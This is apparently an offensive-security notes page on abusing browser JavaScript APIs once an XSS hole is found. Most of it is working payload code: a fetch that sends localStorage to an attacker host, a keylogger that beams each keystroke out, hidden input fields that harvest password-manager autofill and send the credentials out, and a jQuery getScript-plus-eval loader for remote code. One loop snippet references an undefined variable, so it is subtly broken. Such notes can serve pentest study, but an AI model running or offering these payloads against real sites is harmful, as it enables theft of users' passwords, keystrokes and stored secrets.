Useful JavaScript APIs

Notes on some useful JavaScript APIs to interact with the browser maliciously.

Window

Represents the window the entire document (the HTML response from the server) lives. This gives us access to the URL via the location property and localStorage which may contain secrets.

Treat Window as global, any properties set here or any methods we have access can be used in the global context, like alert(). alert()is one of the primary methods we can use to prove that a XSS vulnerability exists in an application.

Exposing storage

Browsers cache important secrets in the Window namespace of a user’s browsing session. With XSS, we can exfiltrate this data by targeting the localStorage and sessionStorage objects in the Window namespace:

fetch(
  "http://ATTACKER_IP_ADDRESS/exfil?data=" +
    encodeURIComponent(JSON.stringify(localStorage)),
)

Document

A powerful API that allows us to interact with the document object model (DOM) of the web page we’re attacking. The DOM provides us with access to all text inputs, usernames, passwords, cookies, etc. as well as all keypress events.

Dumping all input forms

A useful method in the Document namespace is getElementsByTagName(). For example, let’s dump the contents of all forms in the document that are tagged as input:

let inputForms = document.getElementsByTagName("input")
 
for (let inputForm of inputForms) {
  console.log(input.value)
}

How do we know what DOM HTML tags are interesting? The entire HTML DOM spec is actually provided here.

Logging all keystrokes

Another fun technique to disclose information from a victim using the Document namespace is key logging. Whenever a keydown event occurs, we can execute some JavaScript to retrieve the keys pressed by the victim:

function keyLog(event) {
  console.log(event.key)
}
 
document.addEventListener("keydown", keyLog)

More information about the addEventListener() API can be found here.

Let’s notice something about the above code - it only logs the key presses to the console, not super useful for an attacker unless I can somehow view the victim’s console! Instead, we need to exfiltrate this data.

Using the Fetch API, we can coerce the victim into making a web request to a server we own. The result of the fetch action doesn’t matter either because fetch just returns a Promise. This means we can avoid crashing our script when the fetch action fails. Now, when we log a keystroke from the user, we can append the keystroke to a web request targeted at a server we host, allowing us to see the victim’s keystrokes:

function keyLog(event) {
  fetch("http://<WEB_SERVER_IP_ADDRESS>/k?key=" + event.key)
}
 
document.addEventListener("keydown", keyLog)

Dumping credentials from password managers

Password managers are great; you should definitely be using one! But this particular script attacks password managers into autofilling HTML DOM input objects that look like username and password prompts.

Using this XSS payload, we modify the document, adding input forms for a username and a password, hide them with an opacity of 0, and exfiltrate the username and password values after waiting 5 seconds for the password manager to input data into the new forms:

let body = document.getElementsByTagName("body")[0]
var u = document.createElement("input")
u.type = "text"
u.style.position = "fixed"
u.style.opacity = "0"
var p = document.createElement("input")
p.type = "password"
p.style.position = "fixed"
p.style.opacity = "0"
body.append(u)
body.append(p)
setTimeout(function () {
  fetch("http://ATTACKER_IP_ADDRESS/k?u=" + u.value + "&p=" + p.value)
}, 5000)

jQuery

Using jQuery to load remote scripts

Probably not super useful is Cross-Origin protections are an issue, however, if a server provides clients (browsers) with jQuery as a resource, we can use the getScript() method to load a script from an arbitrary location, either locally or with a remote URI, and execute a callback function when the script is loaded successfully. Here’s an example:

jQuery.getScript(
  "http://ATTACKER_IP_ADDRESS/dump-password.js",
  function (script, textStatus, jqXHR) {
    eval(script)
  },
)

We can use great functions like atob(), btoa(), and eval() to bypass any encoding issues upon delivery. It’s likely you’ll need to convert the result of the getScript() operation to ASCII using btoa() to avoid runtime exceptions. The code you’re injecting into probably won’t handle the return value of getScript() well - it returns a callback object.